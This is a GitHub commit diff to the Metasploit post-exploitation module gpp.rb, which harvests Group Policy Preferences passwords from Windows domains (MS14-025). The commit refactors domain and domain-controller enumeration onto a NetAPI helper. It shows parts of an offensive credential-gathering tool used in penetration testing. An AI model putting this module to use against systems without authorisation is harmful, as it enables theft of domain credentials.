Skip to content

Commit fabaf52

Browse files
committed
Tidyup of GPP
Add Security Bulletin Reference ProgramData is symlink to AllUsers anyway Use NetAPI
1 parent 52b182d commit fabaf52

File tree

1 file changed

+25
-70
lines changed
  • modules/post/windows/gather/credentials

1 file changed

+25
-70
lines changed

modules/post/windows/gather/credentials/gpp.rb

Lines changed: 25 additions & 70 deletions
Original file line numberDiff line numberDiff line change
@@ -13,6 +13,7 @@ class Metasploit3 < Msf::Post
1313
include Msf::Post::File
1414
include Msf::Post::Windows::Priv
1515
include Msf::Post::Windows::Registry
16+
include Msf::Post::Windows::NetAPI
1617

1718
def initialize(info={})
1819
super( update_info( info,
@@ -41,7 +42,8 @@ def initialize(info={})
4142
['URL', 'http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13)'],
4243
['URL', 'http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html'],
4344
['URL', 'http://blogs.technet.com/grouppolicy/archive/2009/04/22/passwords-in-group-policy-preferences-updated.aspx'],
44-
['URL', 'https://labs.portcullis.co.uk/blog/are-you-considering-using-microsoft-group-policy-preferences-think-again/']
45+
['URL', 'https://labs.portcullis.co.uk/blog/are-you-considering-using-microsoft-group-policy-preferences-think-again/'],
46+
['MSB', 'MS14-025']
4547
],
4648
'Platform' => [ 'win' ],
4749
'SessionTypes' => [ 'meterpreter' ]
@@ -67,16 +69,11 @@ def run
6769
domains = []
6870
basepaths = []
6971
fullpaths = []
70-
cached_domain_controller = nil
7172

7273
print_status "Checking for group policy history objects..."
73-
# Windows XP environment variable points to the correct folder.
74-
# Windows Vista and upwards points to ProgramData!
75-
all_users = expand_path("%ALLUSERSPROFILE%")
74+
all_users = get_env("%ALLUSERSPROFILE%")
7675

77-
if all_users.include? 'ProgramData'
78-
all_users.gsub!('ProgramData','Users\\All Users')
79-
else
76+
unless all_users.include? 'ProgramData'
8077
all_users = "#{all_users}\\Application Data"
8178
end
8279

@@ -209,7 +206,7 @@ def find_path(path, xml_path)
209206
xml_path = "#{path}#{xml_path}"
210207
begin
211208
return xml_path if exist? xml_path
212-
rescue Rex::Post::Meterpreter::RequestError => e
209+
rescue Rex::Post::Meterpreter::RequestError
213210
# No permissions for this specific file.
214211
return nil
215212
end
@@ -347,50 +344,23 @@ def decrypt(encrypted_data)
347344
end
348345

349346
def enum_domains
350-
domain_enum = 0x80000000 # SV_TYPE_DOMAIN_ENUM
351-
buffersize = 500
352-
result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domain_enum,nil,nil)
353-
# Estimate new buffer size on percentage recovered.
354-
percent_found = (result['entriesread'].to_f/result['totalentries'].to_f)
355-
if percent_found > 0
356-
buffersize = (buffersize/percent_found).to_i
357-
else
358-
buffersize += 500
359-
end
360-
361-
while result['return'] == 234
362-
buffersize = buffersize + 500
363-
result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domain_enum,nil,nil)
364-
end
365-
366-
count = result['totalentries']
367-
print_status("#{count} Domain(s) found.")
368-
startmem = result['bufptr']
369-
370-
base = 0
371347
domains = []
348+
results = net_server_enum(SV_TYPE_DOMAIN_ENUM)
372349

373-
if count == 0
374-
return domains
375-
end
376-
377-
mem = client.railgun.memread(startmem, 8*count)
350+
if results
351+
results.each do |domain|
352+
domains << domain[:name]
353+
end
378354

379-
count.times do |i|
380-
x = {}
381-
x[:platform] = mem[(base + 0),4].unpack("V*")[0]
382-
nameptr = mem[(base + 4),4].unpack("V*")[0]
383-
x[:domain] = client.railgun.memread(nameptr,255).split("\0\0")[0].split("\0").join
384-
domains << x[:domain]
385-
base = base + 8
355+
domains.uniq!
356+
print_status("Retrieved Domain(s) #{domains.join(', ')} from network")
386357
end
387358

388-
domains.uniq!
389-
print_status "Retrieved Domain(s) #{domains.join(', ')} from network"
390-
return domains
359+
domains
391360
end
392361

393362
def enum_dcs(domain)
363+
hostnames = nil
394364
# Prevent crash if FQDN domain names are searched for or other disallowed characters:
395365
# http://support.microsoft.com/kb/909264 \/:*?"<>|
396366
if domain =~ /[:\*?"<>\\\/.]/
@@ -399,34 +369,19 @@ def enum_dcs(domain)
399369
end
400370

401371
print_status("Enumerating DCs for #{domain} on the network...")
402-
domaincontrollers = 24 # 10 + 8 (SV_TYPE_DOMAIN_BAKCTRL || SV_TYPE_DOMAIN_CTRL)
403-
buffersize = 500
404-
result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domaincontrollers,domain,nil)
405-
while result['return'] == 234
406-
buffersize = buffersize + 500
407-
result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domaincontrollers,domain,nil)
408-
end
409-
if result['totalentries'] == 0
372+
results = net_server_enum(SV_TYPE_DOMAIN_CTRL || SV_TYPE_DOMAIN_BAKCTRL, domain)
373+
374+
if results.blank?
410375
print_error("No Domain Controllers found for #{domain}")
411-
return nil
376+
else
377+
hostnames = []
378+
results.each do |dc|
379+
print_good "DC Found: #{dc[:name]}"
380+
hostnames << dc[:name]
381+
end
412382
end
413383

414-
count = result['totalentries']
415-
startmem = result['bufptr']
416-
417-
base = 0
418-
mem = client.railgun.memread(startmem, 8*count)
419-
hostnames = []
420-
count.times{|i|
421-
t = {}
422-
t[:platform] = mem[(base + 0),4].unpack("V*")[0]
423-
nameptr = mem[(base + 4),4].unpack("V*")[0]
424-
t[:dc_hostname] = client.railgun.memread(nameptr,255).split("\0\0")[0].split("\0").join
425-
base = base + 8
426-
print_good "DC Found: #{t[:dc_hostname]}"
427-
hostnames << t[:dc_hostname]
428-
}
429-
return hostnames
384+
hostnames
430385
end
431386

432387
# We use this for the odd test case where a DC is unable to be enumerated from the network

0 commit comments

Comments
 (0)